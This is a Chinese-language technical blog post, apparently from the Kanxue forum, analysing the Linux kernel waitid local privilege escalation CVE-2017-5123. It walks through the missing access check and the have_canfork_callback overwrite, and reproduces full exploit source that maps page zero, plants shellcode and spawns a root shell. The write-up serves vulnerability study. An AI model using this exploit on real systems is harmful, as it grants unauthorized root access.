CVE-2017-5123 waitid本地提权分析
最近研究linux kernel pwn的时候发现网上有的文章对cve-2017-5123的分析存在错误,就想着自己复现一下写篇博客,最简单的利用 exp 无 smep。
漏洞代码分析
waitid源码
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
}
if (!err) {
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user((short)info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
return err;
Efault:
user_access_end();
return -EFAULT;
}
内核定义了一系列函数与用户态内存进行交互,包括copy_from_user ,copy_to_user,put_user等,这些函数中会调用access_ok检查传入的地址是否属于用户区,之后调用user_access_begin() user_access_end分别开启和禁用smap。
为了减少检查开销,linux内核定义了unsafe_put_user函数,但waitid在调用前没有进行access_ok检查,因此可以传入内核地址,任意内核写,但是利用条件会将第一个int写为0x11,第二个int写为0.因此采取的方法是改写have_canfork_callback变量。
将其第一个字节改为0x11进而执行未定义的can_fork,并mmap 0地址,写入shellcode。完成提权。 此次利用必须在关闭了mmap_min_addr 和 smep保护的前提下。
参照github上的利用代码进行分析:
https://github.com/nongiach/CVE/blob/master/CVE-2017-5123/exploit/exploit_null_ptr_deref.c
fork利用过程
fork源码分析
fork系统调用最终会调用do_fork,在do_fork中,会调用copy_process函数为子进程复制一份进程信息。
copy_process源码中调用了cgroup_can_fork函数。
cgroup_can_fork函数中调用了do_each_subsys_mask():
do_each_subsys_mask会调用for_each_set_bit函数:
for_each_set_bit会调用find_first_bit和find_next_bit,会搜索传入的have_canfork_callback变量,最终返回值ssid是位图中小于cgrou_subsys_count的最后一位1的索引值。
cgroup_subsys是一个全局的cgroup_subsys struct的数组,其中保存了一系列函数指针。cgroup需要用户自定义,未定以,其can_fork函数指针为null。
cgroup_can_fork也不会调用cgroup_subsys的can_fork,而是直接返回0。但是waitid将第一个字节改写为0x11 即010001。
默认的CGROUP_SUBSYS_COUNT值为4,因此会调用第一个cgroup_subsys的canfork,即0地址。此时,利用代码mmap了0地址,并将shellcode放置在0地址处,fork即可劫持控制流,完成提权。
具体调试过程:
具体调试过程:
具体调试过程:
采用qume起系统,gdb调试;
用这个脚本生成kallsyms;
在kallsyms中搜索cgroup_can_fork地址,并在gdb中下断点。
随便运行一条命令,bash会调用fork,在我们的断点处停下,查看汇编代码:
0xffffffff81f3f45a处即为全局变量have_canfork_callback变量。之后打印调用了find_first_bit之后的返回值。
可以看到,如果返回值大于三即跳转到结束处。可见cgroup_subsys全局数组的数量默认是4个。如果小于3,继续执行:
r12的值为0xffffffff81e4bb60,为全局cgroup_subsys数组:
普通的fork默认是没有定义cgroup的can_fork,因此have_canfork_callback的值为0x0000000000,其返回值为4,因为传入的参数为4,大于3,直接跳转至结束处:
当利用waitid漏洞之后,再看全局变量:
全局变量已经变为0x11,即10001,调用find_first_bit返回值变为0x0:
查看第一个cgroup_subsys的can_fork(偏移量0x50):
发现已经是0x000
利用脚本分析
本次分析的是github上的漏洞利用代码:
struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;
void get_shell() {
char *argv[] = {"/bin/sh", NULL};
if (getuid() == 0){
printf("[+] Root shell success !! :)\n");
execve("/bin/sh", argv, NULL);
}
printf("[-] failed to get root shell :(\n");
}
void get_root() {
if (commit_creds && prepare_kernel_cred)
commit_creds(prepare_kernel_cred(0));
}
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
printf("[-] Failed to open /proc/kallsyms\n");
exit(-1);
}
printf("[+] Find %s...\n", name);
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
printf("[+] Found %s at %lx\n", name, addr);
return addr;
}
}
fclose(f);
return 0;
}
int main(int ac, char **av)
{
static const unsigned char shellcode[] = {
0xFF, 0x24, 0x25, 0x08, 0x00, 0x00, 0x00, 0x00,
};
if (ac != 2) {
printf("./exploit kernel_offset\n");
printf("exemple = 0xffffffff81f3f45a");
return EXIT_FAILURE;
}
// 2 - Appel de la fonction get_kernel_sym pour rcuperer dans le /proc/kallsyms les adresses des fonctions
prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
// have_canfork_callback offset <= rendre dynamique aussi
pid_t pid;
/* siginfo_t info; */
// 1 - Mapper la mmoire l'adresse 0x0000000000000000
printf("[+] Try to allocat 0x00000000...\n");
if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
printf("[-] Failed to allocat 0x00000000\n");
return -1;
}
printf("[+] Allocation success !\n");
memcpy(0, shellcode, sizeof(shellcode));
*(unsigned long*)sizeof(shellcode) = (unsigned long)get_root;
if(-1 == (pid = fork())) {
perror("fork()");
return EXIT_FAILURE;
}
if(pid == 0) {
_exit(0xDEADBEEF);
perror("son");
return EXIT_FAILURE;
}
siginfo_t *ptr = (siginfo_t*)strtoul(av[1], (char**)0, 0);
waitid(P_PID, pid, ptr, WEXITED | WSTOPPED | WCONTINUED);
// TRIGGER
pid = fork();
printf("fork_ret = %d\n", pid);
if (pid > 0)
get_shell();
return EXIT_SUCCESS;
}
简单说一下流程——mmap 0地址,之后将shellcode放入:
0xFF, 0x24, 0x25, 0x08,
并将getroot的地址放入,直接跳转到getroot执行,
之后调用system在root下产生一个shell,完成提权。
参考:
https://github.com/nongiach/CVE/blob/master/CVE-2017-5123/exploit/exploit_null_ptr_deref.c
https://paper.seebug.org/451
http://blog.luoyuanhang.com/2015/07/27
- End -
看雪ID:obfuscation
https://bbs.pediy.com/user-799291.htm
本文由看雪论坛 obfuscation 原创
转载请注明来自看雪社区
热门技术文章推荐: